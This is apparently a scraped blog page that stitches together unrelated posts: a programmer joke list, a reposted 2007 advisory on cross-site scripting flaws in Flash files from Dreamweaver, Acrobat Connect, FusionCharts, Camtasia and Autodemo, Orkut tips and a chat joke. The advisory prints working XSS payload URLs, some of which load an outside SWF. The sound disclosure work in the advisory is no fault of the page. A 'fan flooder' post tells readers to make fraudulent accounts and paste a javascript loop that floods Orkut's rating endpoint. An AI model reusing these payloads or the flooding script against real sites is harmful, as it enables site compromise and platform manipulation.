Top 20 replies by programmers when their programs do not work

Top 20 replies by programmers when their programs do not work
20. “That’s weird…”
19. “It’s never done that before.”
18. “It worked yesterday.”
17. “How is that possible?”
16. “It must be a hardware problem.”
15. “What did you type in wrong to get it to crash?”
14. “There is something funky in your data.”
13. “I haven’t touched that module in weeks!”
12. “You must have the wrong version.”
11. “It’s just some unlucky coincidence.”
10. “I can’t test everything!”
9. “THIS can’t be the source of THAT.”
8. “It works, but it hasn’t been tested.”
7. “Somebody must have changed my code.”
6. “Did you check for a virus on your system?”
5. “Even though it doesn’t work, how does it feel?
4. “You can’t use that version on your system.”
3. “Why do you want to do it that way?”
2. “Where were you when the program blew up?”
And the Number One reply by programmers when their programs don’t work:
1. “It works on my machine.”

XSS Vulnerabilities in Common Shockwave Flash Files

Recently, there has been news regarding Flash authoring tools and XSS,
but the articles contained little technical information. So, I created
a detailed report here:

SUMMARY

Critical vulnerabilities exist in a large number of widely used web
authoring tools that automatically generate Shockwave Flash (SWF)
files, such as Adobe (r) Dreamweaver (r), Adobe Acrobat (r) Connect
(tm) (formerly Macromedia Breeze), InfoSoft FusionCharts, and
Techsmith Camtasia. The flaws render websites that host these
generated SWF files vulnerable to Cross-Site Scripting (XSS).

This problem is not limited to authoring tools. Autodemo, a popular
service provider, used a vulnerable controller SWF in many of their
projects.

Simple Google hacking queries reveal that hundreds of thousands of
SWFs are vulnerable on the Internet, and a considerable percentage of
major Internet sites are affected. We are only reporting XSS
vulnerabilities that have been fixed by the vendors.


THE PROBLEM

Many web authoring tools that automatically generate SWFs insert
identical and vulnerable ActionScript into all saved SWFs or necessary
controller SWFs (think of tools that "save as SWF", "export to SWF",
etc.). The vulnerable ActionScript can used by attackers to execute
arbitrary JavaScript in the security domain of the website hosting the
SWF.

We were unable to perform an exhaustive review of all authoring tools
that generate SWFs. More XSS issues may exist in the products listed
below and certainly exist in other applications that save to SWF.

We are only reporting XSS vulnerabilities that have been fixed by the
vendors. There are more products vulnerable. We will publish more
information when the vendor releases fixes.

Adobe Dreamweaver

The "skinName" parameter is accepted by all Flash files produced by
the "Insert Flash Video" feature. "skinName" can be used to force
victims to load of arbitrary URLs including the "asfunction" protocol
handler:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

Adobe was contacted on August 8, 2007. This issue was fixed in the
December Flash player release.

Adobe Acrobat Connect/Macromedia Dreamweaver

"main.swf" is the controller file in all Connect/Breeze online
presentations. This SWF does not properly validate the "baseurl"
parameter; thus causing script injection:

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//

Adobe was contacted on July 31, 2007. This issue was fixed in the
December Flash player release.

InfoSoft FusionCharts

One of the issues found in FusionCharts was that the "dataURL"
parameter allows insertion of arbitrary HTML into a "TextArea"
instance. This allows attackers to load SWFs from other domains:

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//cannings.org/DoKnowEvil.swf%3F.jpg%22%3E

InfoSoft was contacted on September 2, 2007. Fixes for all issues we
found were released in late September. Webmasters should consult
InfoSoft to properly upgrade their SWFs. See "The Fix" for details.

Techsmith Camtasia

One of the issues found in Camtasia was that the "csPreloader"
parameter loads an arbitrary flash file:

http://www.example.com/Example_controller.swf?csPreloader=http://cannings.org/DoKnowEvil.swf%3f

Techsmith was contacted on August 12, 2007. Fixes for all issues was
released late September. Webmasters should contact Techsmith to
properly upgrade their SWFs. See "The Fix" for details.

Autodemo

Autodemo is a service provider, not an authoring tool. However, like
authoring tools they use a common control file in many demos. The
"onend" parameter in "control.swf" loads arbitrary URLs including the
JavaScript protocol handler:

http://www.example.com/control.swf?onend=javascript:alert(1)//

Autodemo was contacted on August 17, 2007. Autodemo was extremely
responsive to our report and quickly fixed the issue in early
September. Webmasters must update to the latest "control.swf". See
"The Fix" for details.

Autodemo is not the only service provider to have XSS in their
products. They are just the only service provider we looked at.
Readers should be  concerned about other service providers who don't
even know their SWFs are vulnerable.


THE FIX

See http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw.

Fan flooder..!!!

This is a hack-cheat script to flood your fan-list !

Follow these Steps As Follows :

• Create A Fraud/New Orkut Account
• Add yourself as a friend in the New/Fraud account you have made.
• Log into the fraud account.
• Go to http://www.orkut.com/Friends.aspx
• Put cursor on the “fan” icon. You will see at the status bar of your
• browser (at the bottom of your browser) something like "FRUS0016756489/US209709881" .
  
• Note-Down this somewhere.
• Now write this code in the address bar:

javascript:i=0;for(i=0;i<=100;i++){sendRequest (”/SetKarma.aspx?cat=”+0+”& val=”+”3″+”&gid=”+”FRUS0009505081/US0014188150″);};void(0);

• Change “FRUS0009505081/US0014188150″ with the one you have written in the copy.
• Press Enter
• Add yourself as many times u want and flood your fan-list.

aur batao syndrome

Guess we all r suffering frm it..

Conversation between 2 Orkut Friends:

fr1---hello
fr2---hi

fr1---hey h r u???
fr2---m fine!!! Wht abt u???

fr1---m fine too
fr2---cool

fr1---so howz life???
fr2--gud

fr1--hmmmm

fr1--aur batao? ( passing the ball to the other side)
fr2--hmmm everything as usual

fr2--so wht else???
fr1--nothing much

fr2--ok
fr2--aur batao? ( passing the ball to the other side)

And it goes on like this untill they give up

Are u also having such conversation with ur frnds, then u r
also
suffering from "aur batao syndrome" It means ur life is all screwed up
following the usual monotonous routine.

Probably u need a change in ur life something which is
exciting,something which is adventurous, something which really makes u
feel gud

Correct????

yeh sab to thik hai ab

AUR BATAO

Remove country option of your profile

Select Edit profile Option

Now Copy/paste the Script Below in the address bar

javascript:var alpha=document.createElement('option');alpha.text="beta"; document.getElementById("country").add(alpha, null);

Just Select Beta as your country

Update Your profile

no more country name on orkut

Orkutting for Indians in Indian languages

Orkut language a special typing TOOL. It is a version for Indians. No New address just the same one. WWW.ORKUT.COM. JuSt download this tool & see the magic.

All thatdoes is that it has added is a NEW pull down menu using which you can select you language.


This feature works in scrapbook, community, message.
Currently it supports

• Hindi
• Punjabi
• Gujarati
• Kannada
  
• Telugu
• Malayalam
  
• Bengali
• Sanskrit(using Hindi)
  
• Other language whose script is Devanagari like Avadi, Bhojpuri, Bihari.

This seems to be quiet good. I has very less trouble in typing in hindi even though i was a starter. It took me about 20 sec to type the line shown in the pic. This was my second typo after testing it for the first time. Next time I be will faster.

I think this will work best only for India just like Orkut launched rkut Brazil for Brazilians .This could be Indian orkut.

Generate kool scraps, texts, smileys, etc for ur orkut scrapbook

Hey friends, gathered following links to generate kool scraps, texts, smileys, etc for ur orkut scrapbook!n community posts!

1. http://webphotoshop.info/



2. http://scrapout.googlepages.com/scrapformatter.html



3. http://smileytext.co.nr/


Enjoi Orkutting! :)